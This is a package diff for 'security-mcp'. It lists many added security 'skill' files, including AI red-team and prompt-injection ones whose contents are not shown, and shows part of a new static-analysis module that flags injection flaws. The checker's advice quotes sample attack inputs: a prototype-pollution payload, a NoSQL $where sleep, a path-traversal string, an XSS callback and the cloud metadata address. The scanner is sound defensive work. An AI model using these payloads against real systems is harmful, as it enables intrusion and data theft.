security-mcp 1.1.3 → 1.3.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (133) hide show
  1. package/README.md +164 -185
  2. package/defaults/checklists/ai.json +20 -1
  3. package/defaults/checklists/api.json +35 -1
  4. package/defaults/checklists/infra.json +34 -1
  5. package/defaults/checklists/mobile.json +23 -1
  6. package/defaults/checklists/payments.json +15 -1
  7. package/defaults/checklists/web.json +11 -1
  8. package/defaults/control-catalog.json +200 -0
  9. package/defaults/security-policy.json +2 -2
  10. package/dist/cli/index.js +82 -5
  11. package/dist/cli/install.js +36 -6
  12. package/dist/cli/onboarding.js +6 -0
  13. package/dist/gate/baseline.js +82 -7
  14. package/dist/gate/catalog.js +10 -2
  15. package/dist/gate/checks/ai.js +757 -39
  16. package/dist/gate/checks/auth-deep.js +935 -0
  17. package/dist/gate/checks/business-logic.js +751 -0
  18. package/dist/gate/checks/ci-pipeline.js +399 -4
  19. package/dist/gate/checks/crypto.js +423 -2
  20. package/dist/gate/checks/dependencies.js +571 -15
  21. package/dist/gate/checks/graphql.js +201 -19
  22. package/dist/gate/checks/infra.js +246 -1
  23. package/dist/gate/checks/injection-deep.js +848 -0
  24. package/dist/gate/checks/k8s.js +114 -1
  25. package/dist/gate/checks/mobile-android.js +917 -3
  26. package/dist/gate/checks/mobile-ios.js +797 -5
  27. package/dist/gate/checks/required-artifacts.js +194 -0
  28. package/dist/gate/checks/runtime.js +178 -0
  29. package/dist/gate/checks/secrets.js +244 -13
  30. package/dist/gate/checks/supply-chain-deep.js +787 -0
  31. package/dist/gate/checks/web-nextjs.js +572 -48
  32. package/dist/gate/diff.js +17 -5
  33. package/dist/gate/evidence.js +8 -1
  34. package/dist/gate/exceptions.js +131 -9
  35. package/dist/gate/policy.js +282 -129
  36. package/dist/mcp/audit-chain.js +122 -28
  37. package/dist/mcp/auth.js +169 -0
  38. package/dist/mcp/learning.js +129 -4
  39. package/dist/mcp/model-router.js +158 -21
  40. package/dist/mcp/orchestration.js +186 -51
  41. package/dist/mcp/server.js +608 -94
  42. package/dist/repo/fs.js +24 -1
  43. package/dist/repo/search.js +31 -6
  44. package/dist/review/store.js +52 -1
  45. package/package.json +7 -7
  46. package/prompts/SECURITY_PROMPT.md +73 -0
  47. package/skills/_TEMPLATE/SKILL.md +99 -0
  48. package/skills/advanced-dos-tester/SKILL.md +109 -0
  49. package/skills/agentic-loop-exploiter/SKILL.md +368 -0
  50. package/skills/ai-llm-redteam/SKILL.md +104 -0
  51. package/skills/ai-model-supply-chain-agent/SKILL.md +103 -0
  52. package/skills/algorithm-implementation-reviewer/SKILL.md +98 -0
  53. package/skills/android-penetration-tester/SKILL.md +455 -46
  54. package/skills/anti-replay-tester/SKILL.md +106 -0
  55. package/skills/appsec-code-auditor/SKILL.md +120 -0
  56. package/skills/artifact-integrity-analyst/SKILL.md +441 -0
  57. package/skills/attack-navigator/SKILL.md +467 -8
  58. package/skills/auth-session-hacker/SKILL.md +128 -0
  59. package/skills/aws-penetration-tester/SKILL.md +456 -0
  60. package/skills/azure-penetration-tester/SKILL.md +490 -3
  61. package/skills/binary-auth-validator/SKILL.md +111 -0
  62. package/skills/bot-detection-specialist/SKILL.md +109 -0
  63. package/skills/business-logic-attacker/SKILL.md +231 -0
  64. package/skills/capec-code-mapper/SKILL.md +84 -0
  65. package/skills/cert-pin-rotation-specialist/SKILL.md +112 -0
  66. package/skills/cicd-pipeline-hijacker/SKILL.md +405 -0
  67. package/skills/ciso-orchestrator/SKILL.md +454 -43
  68. package/skills/cloud-infra-specialist/SKILL.md +118 -0
  69. package/skills/compliance-gap-analyst/SKILL.md +422 -0
  70. package/skills/compliance-grc/SKILL.md +85 -0
  71. package/skills/compliance-lifecycle-tracker/SKILL.md +84 -0
  72. package/skills/credential-stuffing-specialist/SKILL.md +102 -0
  73. package/skills/crypto-pki-specialist/SKILL.md +87 -0
  74. package/skills/csa-ccm-mapper/SKILL.md +84 -0
  75. package/skills/csf2-governance-mapper/SKILL.md +84 -0
  76. package/skills/deep-link-fuzzer/SKILL.md +109 -0
  77. package/skills/dependency-confusion-attacker/SKILL.md +415 -0
  78. package/skills/device-integrity-aggregator/SKILL.md +108 -0
  79. package/skills/dos-resilience-tester/SKILL.md +97 -0
  80. package/skills/dread-scorer/SKILL.md +84 -0
  81. package/skills/egress-policy-enforcer/SKILL.md +99 -0
  82. package/skills/evidence-collector/SKILL.md +98 -0
  83. package/skills/file-upload-attacker/SKILL.md +109 -0
  84. package/skills/gcp-penetration-tester/SKILL.md +459 -2
  85. package/skills/git-history-secret-scanner/SKILL.md +106 -0
  86. package/skills/iam-privesc-graph-builder/SKILL.md +152 -0
  87. package/skills/incident-responder/SKILL.md +111 -0
  88. package/skills/injection-specialist/SKILL.md +131 -0
  89. package/skills/ios-security-auditor/SKILL.md +282 -0
  90. package/skills/json-ambiguity-tester/SKILL.md +0 -0
  91. package/skills/k8s-container-escaper/SKILL.md +384 -0
  92. package/skills/key-management-lifecycle-analyst/SKILL.md +98 -0
  93. package/skills/kill-switch-engineer/SKILL.md +102 -0
  94. package/skills/linddun-privacy-analyst/SKILL.md +102 -0
  95. package/skills/logic-race-fuzzer/SKILL.md +443 -0
  96. package/skills/mobile-api-network-attacker/SKILL.md +421 -0
  97. package/skills/mobile-binary-hardener/SKILL.md +102 -0
  98. package/skills/mobile-security-specialist/SKILL.md +85 -0
  99. package/skills/mobile-webview-auditor/SKILL.md +96 -0
  100. package/skills/model-extraction-attacker/SKILL.md +219 -0
  101. package/skills/multipart-abuse-tester/SKILL.md +84 -0
  102. package/skills/oauth-pkce-specialist/SKILL.md +104 -0
  103. package/skills/parser-exhaustion-tester/SKILL.md +142 -0
  104. package/skills/pentest-infra/SKILL.md +141 -0
  105. package/skills/pentest-social/SKILL.md +201 -0
  106. package/skills/pentest-team/SKILL.md +134 -0
  107. package/skills/pentest-web-api/SKILL.md +151 -0
  108. package/skills/privacy-flow-analyst/SKILL.md +234 -0
  109. package/skills/prompt-injection-specialist/SKILL.md +394 -0
  110. package/skills/quantum-migration-planner/SKILL.md +96 -0
  111. package/skills/rag-poisoning-specialist/SKILL.md +358 -0
  112. package/skills/registry-mirror-enforcer/SKILL.md +84 -0
  113. package/skills/rotation-validation-agent/SKILL.md +112 -0
  114. package/skills/samm-assessor/SKILL.md +85 -0
  115. package/skills/secrets-mask-bypass-tester/SKILL.md +100 -0
  116. package/skills/senior-security-engineer/SKILL.md +370 -2
  117. package/skills/serialization-memory-attacker/SKILL.md +332 -0
  118. package/skills/session-timeout-tester/SKILL.md +161 -0
  119. package/skills/slsa-level3-enforcer/SKILL.md +112 -0
  120. package/skills/slsa-provenance-enforcer/SKILL.md +102 -0
  121. package/skills/ssrf-detection-validator/SKILL.md +108 -0
  122. package/skills/step-up-auth-enforcer/SKILL.md +84 -0
  123. package/skills/stride-pasta-analyst/SKILL.md +420 -0
  124. package/skills/supply-chain-devsecops/SKILL.md +98 -0
  125. package/skills/threat-infrastructure-analyst/SKILL.md +84 -0
  126. package/skills/threat-modeler/SKILL.md +85 -0
  127. package/skills/tls-certificate-auditor/SKILL.md +573 -18
  128. package/skills/token-reuse-detector/SKILL.md +95 -0
  129. package/skills/trike-risk-modeler/SKILL.md +84 -0
  130. package/skills/unicode-homograph-tester/SKILL.md +84 -0
  131. package/skills/waf-rule-lifecycle-agent/SKILL.md +97 -0
  132. package/skills/webhook-security-tester/SKILL.md +102 -0
  133. package/skills/zero-trust-architect/SKILL.md +109 -0
@@ -0,0 +1,848 @@
1
+ /**
2
+ * Deep injection class enforcement — covers attack vectors not detected by existing checks.
3
+ * CWE references per MITRE CWE catalog; ATT&CK techniques per MITRE ATT&CK v14.
4
+ */
5
+ import { sanitizeErrorMessage } from "../result.js";
6
+ import { searchRepo } from "../../repo/search.js";
7
+ const NON_CODE_RE = /\.(?:md|json|yaml|yml|txt|rst|toml|lock)$/i;
8
+ function toEvidence(hits) {
9
+ return hits.slice(0, 10).map((m) => `${m.file}:${m.line}:${m.preview}`);
10
+ }
11
+ function toFiles(hits) {
12
+ return [...new Set(hits.slice(0, 10).map((m) => m.file))];
13
+ }
14
+ async function codeSearch(query) {
15
+ return (await searchRepo({ query, isRegex: true, maxMatches: 200 })).filter((h) => !NON_CODE_RE.test(h.file));
16
+ }
17
+ async function checkXxe() {
18
+ const hits = await codeSearch(String.raw `(?:new\s+(?:DOMParser|SAXParser|XMLParser|fxp\.XMLParser)|xml2js\.parseString|fast-xml-parser|libxmljs\.parseXml|parseXML)\s*\(`);
19
+ const unsafe = hits.filter((h) => !/entityExpansion\s*:\s*false|processEntities\s*:\s*false|resolveEntities\s*:\s*false|FEATURE_EXTERNAL_GENERAL_ENTITIES|XMLConstants\.FEATURE_SECURE_PROCESSING/.test(h.preview));
20
+ if (!unsafe.length)
21
+ return null;
22
+ return {
23
+ id: "XXE_ENTITY_PARSING",
24
+ title: "XML parser may process external entities (XXE — CWE-611)",
25
+ severity: "HIGH",
26
+ evidence: toEvidence(unsafe),
27
+ files: toFiles(unsafe),
28
+ requiredActions: [
29
+ "Disable external entity processing: set processEntities:false (fast-xml-parser) or resolveEntities:false (xml2js).",
30
+ "CWE-611 / ATT&CK T1190 — XXE can leak files, SSRF, or RCE via server-side request.",
31
+ "Example fix (fast-xml-parser): new XMLParser({ processEntities: false, ignoreAttributes: false })"
32
+ ]
33
+ };
34
+ }
35
+ async function checkSsti() {
36
+ const findings = [];
37
+ // Pass 1: same-line detection + additional engines
38
+ const sameLineHits = await codeSearch(String.raw `(?:Handlebars\.compile|ejs\.render|ejs\.compile|nunjucks\.renderString|pug\.compile|pug\.render|\.template\s*\(|Mustache\.render|mustache\.render|handlebars\.compile|swig\.render|dot\.template|consolidate\.\w+)\s*\(\s*(?:req\.|body\.|params\.|query\.|user\.|input|template|src)`);
39
+ if (sameLineHits.length) {
40
+ findings.push({
41
+ id: "SSTI_TEMPLATE_COMPILE",
42
+ title: "Server-side template compiled from user input (SSTI — CWE-94)",
43
+ severity: "CRITICAL",
44
+ evidence: toEvidence(sameLineHits),
45
+ files: toFiles(sameLineHits),
46
+ requiredActions: [
47
+ "Never compile templates from user input — only render with user-controlled data as context variables.",
48
+ "CWE-94 / ATT&CK T1059 — SSTI achieves RCE via template engine expression evaluation.",
49
+ "Fix: precompile templates at build time; pass untrusted data only as template context, never as template source."
50
+ ]
51
+ });
52
+ }
53
+ // Pass 2: two-pass variable tracking — find assignments of user input to variables
54
+ const assignHits = await codeSearch(String.raw `const\s+(\w+)\s*=\s*(?:req\.|body\.|params\.|query\.)`);
55
+ if (assignHits.length) {
56
+ const varNameRe = /const\s+(\w+)\s*=/;
57
+ const varNames = [...new Set(assignHits.map((h) => { const m = varNameRe.exec(h.preview); return m ? m[1] : null; }).filter(Boolean))];
58
+ if (varNames.length) {
59
+ const enginePattern = String.raw `(?:Handlebars\.compile|ejs\.render|ejs\.compile|nunjucks\.renderString|pug\.compile|pug\.render|mustache\.render|Mustache\.render|swig\.render|dot\.template|consolidate\.\w+|handlebars\.compile)\s*\(\s*(?:${varNames.join("|")})`;
60
+ const varHits = await codeSearch(enginePattern);
61
+ const newHits = varHits.filter((h) => !sameLineHits.some((s) => s.file === h.file && s.line === h.line));
62
+ if (newHits.length) {
63
+ findings.push({
64
+ id: "SSTI_TEMPLATE_COMPILE_INDIRECT",
65
+ title: "Server-side template compiled from variable holding user input (SSTI — CWE-94)",
66
+ severity: "CRITICAL",
67
+ evidence: toEvidence(newHits),
68
+ files: toFiles(newHits),
69
+ requiredActions: [
70
+ "Never compile templates from user input — only render with user-controlled data as context variables.",
71
+ "CWE-94 / ATT&CK T1059 — SSTI achieves RCE even when user input is stored in an intermediate variable.",
72
+ "Fix: precompile templates at build time; pass untrusted data only as template context, never as template source."
73
+ ]
74
+ });
75
+ }
76
+ }
77
+ }
78
+ return findings;
79
+ }
80
+ async function checkPrototypePollution() {
81
+ const findings = [];
82
+ // Original merge-with-user-input pattern
83
+ const mergeHits = await codeSearch(String.raw `(?:_\.merge|Object\.assign|deepmerge|lodash\.merge|merge\s*\()\s*\(\s*(?:\{\}|obj|target|options|config|settings|result)\s*,\s*(?:req\.|body\.|params\.|query\.|user\.|payload\.|data\.)`);
84
+ if (mergeHits.length) {
85
+ findings.push({
86
+ id: "PROTOTYPE_POLLUTION",
87
+ title: "Unsafe merge of user-controlled data into plain object — prototype pollution risk (CWE-1321)",
88
+ severity: "HIGH",
89
+ evidence: toEvidence(mergeHits),
90
+ files: toFiles(mergeHits),
91
+ requiredActions: [
92
+ "Validate with Zod/Joi schema before merging; use Object.create(null) as the merge target.",
93
+ "CWE-1321 / ATT&CK T1548 — payload {\"__proto__\":{\"isAdmin\":true}} can pollute all objects in the process.",
94
+ "Fix: const safe = schema.parse(req.body); Object.assign(Object.create(null), defaults, safe);"
95
+ ]
96
+ });
97
+ }
98
+ // Direct __proto__ assignment patterns
99
+ const directProtoHits = await codeSearch(String.raw `(?:\.__proto__\s*=|\['__proto__'\]\s*=|\["__proto__"\]\s*=|\.constructor\.prototype\s*=)`);
100
+ if (directProtoHits.length) {
101
+ findings.push({
102
+ id: "PROTOTYPE_POLLUTION_DIRECT",
103
+ title: "Direct __proto__ or constructor.prototype assignment — prototype pollution (CWE-1321)",
104
+ severity: "HIGH",
105
+ evidence: toEvidence(directProtoHits),
106
+ files: toFiles(directProtoHits),
107
+ requiredActions: [
108
+ "Never assign to __proto__ or constructor.prototype from user-controlled data.",
109
+ "CWE-1321 — direct prototype pollution corrupts all object instances sharing the prototype chain.",
110
+ "Fix: use Object.create(null) for maps; validate all keys with allowlists before any property assignment."
111
+ ]
112
+ });
113
+ }
114
+ // Two-pass: JSON.parse of user input → variable → Object.assign/merge
115
+ const jsonParseHits = await codeSearch(String.raw `JSON\.parse\s*\([^)]*(?:req\.|body\.|params\.|query\.)[^)]*\)`);
116
+ if (jsonParseHits.length) {
117
+ const varNameRe = /(?:const|let|var)\s+(\w+)\s*=\s*JSON\.parse/;
118
+ const varNames = [...new Set(jsonParseHits.map((h) => { const m = varNameRe.exec(h.preview); return m ? m[1] : null; }).filter(Boolean))];
119
+ if (varNames.length) {
120
+ const mergePattern = String.raw `(?:Object\.assign|deepmerge|_\.merge|lodash\.merge|merge\s*\()\s*\([^)]*(?:${varNames.join("|")})`;
121
+ const indirectHits = await codeSearch(mergePattern);
122
+ const newHits = indirectHits.filter((h) => !mergeHits.some((s) => s.file === h.file && s.line === h.line));
123
+ if (newHits.length) {
124
+ findings.push({
125
+ id: "PROTOTYPE_POLLUTION_JSON_PARSE",
126
+ title: "JSON.parse of user input passed to Object.assign/merge — prototype pollution risk (CWE-1321)",
127
+ severity: "HIGH",
128
+ evidence: toEvidence(newHits),
129
+ files: toFiles(newHits),
130
+ requiredActions: [
131
+ "Validate parsed JSON with a schema (Zod/Joi) before merging into objects.",
132
+ "CWE-1321 — JSON.parse('{\"__proto__\":{\"isAdmin\":true}}') followed by Object.assign pollutes all objects.",
133
+ "Fix: const safe = schema.parse(JSON.parse(req.body.data)); Object.assign(Object.create(null), defaults, safe);"
134
+ ]
135
+ });
136
+ }
137
+ }
138
+ }
139
+ return findings;
140
+ }
141
+ async function checkOpenRedirect() {
142
+ const hits = await codeSearch(String.raw `res\.redirect\s*\(\s*(?:req\.|body\.|params\.|query\.|headers\.|url\b|redirect|returnUrl|next|target|destination)`);
143
+ const unsafe = hits.filter((h) => !/allowlist|allowedHosts|isAllowed|REDIRECT_WHITELIST|validateRedirect|isSafeUrl|startsWith\s*\(['"]\/\b/.test(h.preview));
144
+ if (!unsafe.length)
145
+ return null;
146
+ return {
147
+ id: "OPEN_REDIRECT",
148
+ title: "Open redirect — user-controlled URL in res.redirect() without allowlist (CWE-601)",
149
+ severity: "HIGH",
150
+ evidence: toEvidence(unsafe),
151
+ files: toFiles(unsafe),
152
+ requiredActions: [
153
+ "Validate redirect targets against an allowlist of trusted hosts or enforce relative-only redirects.",
154
+ "CWE-601 / ATT&CK T1598 — open redirects are used in phishing chains and OAuth token theft.",
155
+ "Fix: if (!url.startsWith('/') || url.startsWith('//')) throw new Error('Invalid redirect');"
156
+ ]
157
+ };
158
+ }
159
+ async function checkNosqlInjection() {
160
+ const hits = await codeSearch(String.raw `(?:\.find|\.findOne|\.findOneAndUpdate|\.updateOne|\.deleteOne|\.aggregate)\s*\(\s*(?:req\.body|body\.|params\.|query\.)\b`);
161
+ if (!hits.length)
162
+ return null;
163
+ return {
164
+ id: "NOSQL_OPERATOR_INJECTION",
165
+ title: "NoSQL query built from user input without operator stripping (CWE-943)",
166
+ severity: "HIGH",
167
+ evidence: toEvidence(hits),
168
+ files: toFiles(hits),
169
+ requiredActions: [
170
+ "Never pass req.body directly into MongoDB queries — extract and validate each field individually.",
171
+ "CWE-943 — payload {\"$gt\":\"\"} bypasses equality checks; {\"$where\":\"sleep(5000)\"} achieves DoS.",
172
+ "Fix: const { username } = z.object({ username: z.string() }).parse(req.body); User.findOne({ username });"
173
+ ]
174
+ };
175
+ }
176
+ async function checkCrlfInjection() {
177
+ const findings = [];
178
+ // Original: res.setHeader with user input
179
+ const headerHits = await codeSearch(String.raw `res\.setHeader\s*\(\s*[^,]+,\s*(?:req\.|body\.|params\.|query\.|user\.|headers\.)`);
180
+ const unsafeHeaders = headerHits.filter((h) => !/replace\s*\(.*\\r|replace\s*\(.*\\n|sanitize|encodeURIComponent/.test(h.preview));
181
+ if (unsafeHeaders.length) {
182
+ findings.push({
183
+ id: "CRLF_INJECTION",
184
+ title: "CRLF injection risk — user value written to HTTP response header (CWE-113)",
185
+ severity: "HIGH",
186
+ evidence: toEvidence(unsafeHeaders),
187
+ files: toFiles(unsafeHeaders),
188
+ requiredActions: [
189
+ String.raw `Strip \r and \n from any user-controlled value before writing to response headers.`,
190
+ "CWE-113 — CRLF injection enables HTTP response splitting, header injection, session fixation.",
191
+ String.raw `Fix: const safe = value.replace(/[\r\n]/g, ''); res.setHeader('X-Header', safe);`
192
+ ]
193
+ });
194
+ }
195
+ // Extended: cookie, append, location, response.redirect with user input
196
+ const extendedHits = await codeSearch(String.raw `(?:res\.cookie\s*\([^,]*(?:req\.|body\.|params\.|query\.)|res\.append\s*\(\s*[^,]+,\s*(?:req\.|body\.|params\.|query\.)|res\.location\s*\(\s*(?:req\.|body\.|params\.|query\.)|response\.redirect\s*\(\s*(?:req\.|body\.|params\.|query\.))`);
197
+ const unsafeExtended = extendedHits.filter((h) => !/replace\s*\(.*\\r|replace\s*\(.*\\n|sanitize|encodeURIComponent|allowlist|validateRedirect/.test(h.preview));
198
+ if (unsafeExtended.length) {
199
+ findings.push({
200
+ id: "HTTP_HEADER_INJECTION",
201
+ title: "HTTP header/cookie injection — user value written to response cookie, header, or location (CWE-113)",
202
+ severity: "HIGH",
203
+ evidence: toEvidence(unsafeExtended),
204
+ files: toFiles(unsafeExtended),
205
+ requiredActions: [
206
+ String.raw `Strip \r and \n from user-controlled values before writing to cookies, headers, or redirect locations.`,
207
+ "CWE-113 / CWE-601 — header injection via CRLF enables response splitting, session fixation, and open redirect.",
208
+ String.raw `Fix: const safe = value.replace(/[\r\n]/g, ''); res.cookie('name', safe, { httpOnly: true, secure: true });`
209
+ ]
210
+ });
211
+ }
212
+ return findings;
213
+ }
214
+ async function checkYamlUnsafeLoad() {
215
+ const hits = await codeSearch(String.raw `yaml\.load\s*\((?!.*FAILSAFE_SCHEMA)(?!.*JSON_SCHEMA)(?!.*CORE_SCHEMA)|jsYaml\.load\s*\((?!.*schema)|require\s*\(['"]js-yaml['"]\)\.load\s*\(`);
216
+ if (!hits.length)
217
+ return null;
218
+ return {
219
+ id: "YAML_UNSAFE_LOAD",
220
+ title: "js-yaml load() without safe schema — arbitrary code execution risk (CWE-502)",
221
+ severity: "CRITICAL",
222
+ evidence: toEvidence(hits),
223
+ files: toFiles(hits),
224
+ requiredActions: [
225
+ "Use yaml.load(str, { schema: yaml.FAILSAFE_SCHEMA }) or yaml.safeLoad() (js-yaml v3).",
226
+ "CWE-502 — js-yaml default schema executes JS functions embedded in YAML (!!js/function).",
227
+ "For js-yaml v4+: safeLoad was removed; use load() which is safe by default — verify version."
228
+ ]
229
+ };
230
+ }
231
+ async function checkUnsafeDeserialize() {
232
+ const hits = await codeSearch(String.raw `(?:node-serialize\.unserialize|serialize\.unserialize|unserialize\s*\(|new\s+Function\s*\(\s*(?:req\.|body\.|params\.|data\.|input)|eval\s*\(\s*(?:req\.|body\.|params\.|data\.|Buffer\.from|atob\())`);
233
+ if (!hits.length)
234
+ return null;
235
+ return {
236
+ id: "DESERIALIZE_UNSAFE",
237
+ title: "Unsafe deserialization of user input (CWE-502)",
238
+ severity: "CRITICAL",
239
+ evidence: toEvidence(hits),
240
+ files: toFiles(hits),
241
+ requiredActions: [
242
+ "Never deserialize untrusted data with node-serialize, eval(), or new Function().",
243
+ "CWE-502 / ATT&CK T1059 — deserialization gadget chains achieve RCE without user interaction.",
244
+ "Fix: use JSON.parse() with a Zod schema for structured data; for binary formats use a safe decoder with a strict schema."
245
+ ]
246
+ };
247
+ }
248
+ async function checkPathTraversal() {
249
+ const hits = await codeSearch(String.raw `path\.(?:join|resolve)\s*\([^)]*(?:req\.|body\.|params\.|query\.|filename|filepath|file_path|filePath|fileName)[^)]*\)`);
250
+ const unsafe = hits.filter((h) => !/normalize|startsWith|indexOf\s*\(base|resolve.*startsWith|\.includes\s*\(['"]\.\.['"]|path\.sep/.test(h.preview));
251
+ if (!unsafe.length)
252
+ return null;
253
+ return {
254
+ id: "PATH_TRAVERSAL_JOIN",
255
+ title: "Path traversal — path.join() with user input without prefix verification (CWE-22)",
256
+ severity: "HIGH",
257
+ evidence: toEvidence(unsafe),
258
+ files: toFiles(unsafe),
259
+ requiredActions: [
260
+ "After path.join(), verify the resolved path starts with the intended base directory.",
261
+ "CWE-22 / ATT&CK T1083 — ../../etc/passwd reads arbitrary files on the server.",
262
+ "Fix: const full = path.resolve(BASE_DIR, userFilename); if (!full.startsWith(BASE_DIR + path.sep)) throw new Error('Invalid path');"
263
+ ]
264
+ };
265
+ }
266
+ async function checkLogInjection() {
267
+ const hits = await codeSearch(String.raw `(?:console\.(?:log|warn|error|info)|logger\.(?:log|warn|error|info|debug)|log\.(?:info|warn|error|debug))\s*\([^)]*(?:req\.|body\.|params\.|query\.|headers\.|user\.|username|email|ip\b)`);
268
+ const unsafe = hits.filter((h) => !/replace\s*\(.*\\n|replace\s*\(.*\\r|sanitize|JSON\.stringify|inspect\s*\(/.test(h.preview));
269
+ if (!unsafe.length)
270
+ return null;
271
+ return {
272
+ id: "LOG_INJECTION",
273
+ title: "Log injection — user-controlled string written to logs without newline sanitization (CWE-117)",
274
+ severity: "MEDIUM",
275
+ evidence: toEvidence(unsafe),
276
+ files: toFiles(unsafe),
277
+ requiredActions: [
278
+ String.raw `Strip or encode \n and \r from user-controlled values before logging.`,
279
+ "CWE-117 — log injection forges log entries, erasing evidence of attacks or injecting false audit trails.",
280
+ String.raw `Fix: logger.info('Login attempt', { username: username.replace(/[\r\n]/g, '_') });`
281
+ ]
282
+ };
283
+ }
284
+ async function checkSsrfUserUrl() {
285
+ const hits = await codeSearch(String.raw `(?:fetch|axios\.(?:get|post|put|delete|request)|https?\.(?:get|request)|got\s*\(|needle\.(?:get|post)|superagent\.(?:get|post))\s*\(\s*(?:req\.|body\.|params\.|query\.|url\b|webhook|endpoint|target|callback|proxy)`);
286
+ const unsafe = hits.filter((h) => !/allowedHosts|SSRF_GUARD|validateUrl|isAllowedUrl|new URL.*hostname|URL_ALLOWLIST/.test(h.preview));
287
+ if (!unsafe.length)
288
+ return null;
289
+ return {
290
+ id: "SSRF_USER_URL",
291
+ title: "SSRF — HTTP request to user-controlled URL without allowlist (CWE-918)",
292
+ severity: "CRITICAL",
293
+ evidence: toEvidence(unsafe),
294
+ files: toFiles(unsafe),
295
+ requiredActions: [
296
+ "Validate the URL hostname against an explicit allowlist before making server-side HTTP requests.",
297
+ "CWE-918 / ATT&CK T1090 — SSRF reaches 169.254.169.254 for cloud metadata, internal services, and localhost.",
298
+ "Fix: const { hostname } = new URL(userUrl); if (!ALLOWED_HOSTS.includes(hostname)) throw new Error('Blocked');"
299
+ ]
300
+ };
301
+ }
302
+ async function checkCommandInjection() {
303
+ const hits = await codeSearch(String.raw `(?:exec|execSync|spawn|spawnSync|execFile|execFileSync)\s*\(\s*(?:['"][^'"]*\$\{|req\.|body\.|params\.|query\.|input\b|cmd\b|command\b|shell\b)|shell\s*:\s*true`);
304
+ const unsafe = hits.filter((h) => !/allowedCommands|COMMAND_ALLOWLIST|execFile\s*\(\s*['"][^'"]+['"]\s*,\s*\[/.test(h.preview));
305
+ if (!unsafe.length)
306
+ return null;
307
+ return {
308
+ id: "COMMAND_INJECTION",
309
+ title: "Command injection — child_process called with user-controlled input or shell:true (CWE-78)",
310
+ severity: "CRITICAL",
311
+ evidence: toEvidence(unsafe),
312
+ files: toFiles(unsafe),
313
+ requiredActions: [
314
+ "Use execFile() with a static path and an array of validated arguments — never string concatenation.",
315
+ String.raw `CWE-78 / ATT&CK T1059 — command injection achieves full OS compromise via shell metacharacters (;, |, $(), \n).`,
316
+ "Fix: execFile('/usr/bin/convert', ['-resize', validatedSize, inputFile, outputFile], { shell: false });"
317
+ ]
318
+ };
319
+ }
320
+ async function checkRedos() {
321
+ const findings = [];
322
+ // Original: new RegExp from user input
323
+ const dynHits = await codeSearch(String.raw `new\s+RegExp\s*\(\s*(?:req\.|body\.|params\.|query\.|user\.|input\b|pattern\b|search\b|filter\b)`);
324
+ if (dynHits.length) {
325
+ findings.push({
326
+ id: "REDOS_USER_REGEXP",
327
+ title: "ReDoS — user-controlled input used to construct RegExp — catastrophic backtracking (CWE-1333)",
328
+ severity: "HIGH",
329
+ evidence: toEvidence(dynHits),
330
+ files: toFiles(dynHits),
331
+ requiredActions: [
332
+ "Never construct RegExp from user input. Escape with escape-string-regexp, or use string.includes() / startsWith().",
333
+ "CWE-1333 / ATT&CK T1499 — a crafted pattern like (a+)+ causes exponential backtracking that hangs the Node.js event loop.",
334
+ "Fix: const safe = escapeStringRegexp(userInput); const re = new RegExp(safe);"
335
+ ]
336
+ });
337
+ }
338
+ // Static regex with catastrophic backtracking patterns applied to user input
339
+ const staticReHits = await codeSearch(String.raw `\/(?:[^\/]*\([^)]*[+*][^)]*\)[+*][^\/]*|[^\/]*\([^)]*[+*][^)]*\)\{[0-9,]+\}[^\/]*|[^\/]*(?:a\|aa|a\+b|\w\+\s\*)[^\/]*)[+*?]?\/[gimsuy]*\s*\.\s*(?:test|match|exec)\s*\(\s*(?:req\.|body\.|params\.|query\.)`);
340
+ if (staticReHits.length) {
341
+ findings.push({
342
+ id: "REDOS_STATIC_PATTERN",
343
+ title: "ReDoS — static regex with catastrophic backtracking pattern applied to user input (CWE-1333)",
344
+ severity: "HIGH",
345
+ evidence: toEvidence(staticReHits),
346
+ files: toFiles(staticReHits),
347
+ requiredActions: [
348
+ "Audit regex for nested quantifiers (e.g. (a+)+, (\\w+\\s*)+, (a|aa)+) — these cause exponential backtracking.",
349
+ "CWE-1333 / ATT&CK T1499 — a malicious input string can hang the Node.js event loop for seconds per request.",
350
+ "Fix: use a safe regex library (re2) or rewrite the pattern to eliminate ambiguity; add an input length limit."
351
+ ]
352
+ });
353
+ }
354
+ return findings;
355
+ }
356
+ async function checkJsonpCallbackInjection() {
357
+ const hits = await codeSearch(String.raw `res\.(?:send|end|write)\s*\(\s*(?:req\.|query\.|params\.)(?:callback|jsonp|cb)\s*\+`);
358
+ if (!hits.length)
359
+ return null;
360
+ return {
361
+ id: "JSONP_CALLBACK_INJECTION",
362
+ title: "JSONP callback parameter reflected without validation — XSS via function name (CWE-79)",
363
+ severity: "HIGH",
364
+ evidence: toEvidence(hits),
365
+ files: toFiles(hits),
366
+ requiredActions: [
367
+ "Validate the callback parameter against /^[a-zA-Z_$][a-zA-Z0-9_$.]*$/ before reflecting it in a JSONP response.",
368
+ "CWE-79 — an unvalidated callback like alert(document.cookie) is executed when the browser loads the JSONP response.",
369
+ String.raw `Fix: Remove JSONP and use CORS instead. If JSONP is required: if (!/^[\w$.]+$/.test(cb)) return res.status(400).end();`,
370
+ ]
371
+ };
372
+ }
373
+ async function checkEvalEncodedPayload() {
374
+ const hits = await codeSearch(String.raw `eval\s*\(\s*(?:atob|Buffer\.from[^)]*base64|decode|decodeURIComponent)\s*\(`);
375
+ if (!hits.length)
376
+ return null;
377
+ return {
378
+ id: "EVAL_ENCODED_PAYLOAD",
379
+ title: "eval() with decoded/deserialized payload — obfuscated code execution (CWE-95)",
380
+ severity: "CRITICAL",
381
+ evidence: toEvidence(hits),
382
+ files: toFiles(hits),
383
+ requiredActions: [
384
+ "Remove eval() entirely. Use JSON.parse() for structured data; import() with a static specifier for modules.",
385
+ "CWE-95 / ATT&CK T1027 — base64-encoding evades naive static analysis; eval executes arbitrary JavaScript.",
386
+ "Fix: const data = JSON.parse(Buffer.from(encoded, 'base64').toString('utf-8')); // never eval()"
387
+ ]
388
+ };
389
+ }
390
+ // ─── NEW CHECKS ──────────────────────────────────────────────────────────────
391
+ async function checkSqlInjection() {
392
+ const findings = [];
393
+ // Direct SQL keyword + template literal interpolation
394
+ const templateSqlHits = await codeSearch(String.raw `(?:SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|EXEC(?:UTE)?|UNION|TRUNCATE)[^'";\n]*\$\{`);
395
+ if (templateSqlHits.length) {
396
+ findings.push({
397
+ id: "SQL_INJECTION",
398
+ title: "SQL injection — SQL keyword with template literal interpolation (CWE-89)",
399
+ severity: "CRITICAL",
400
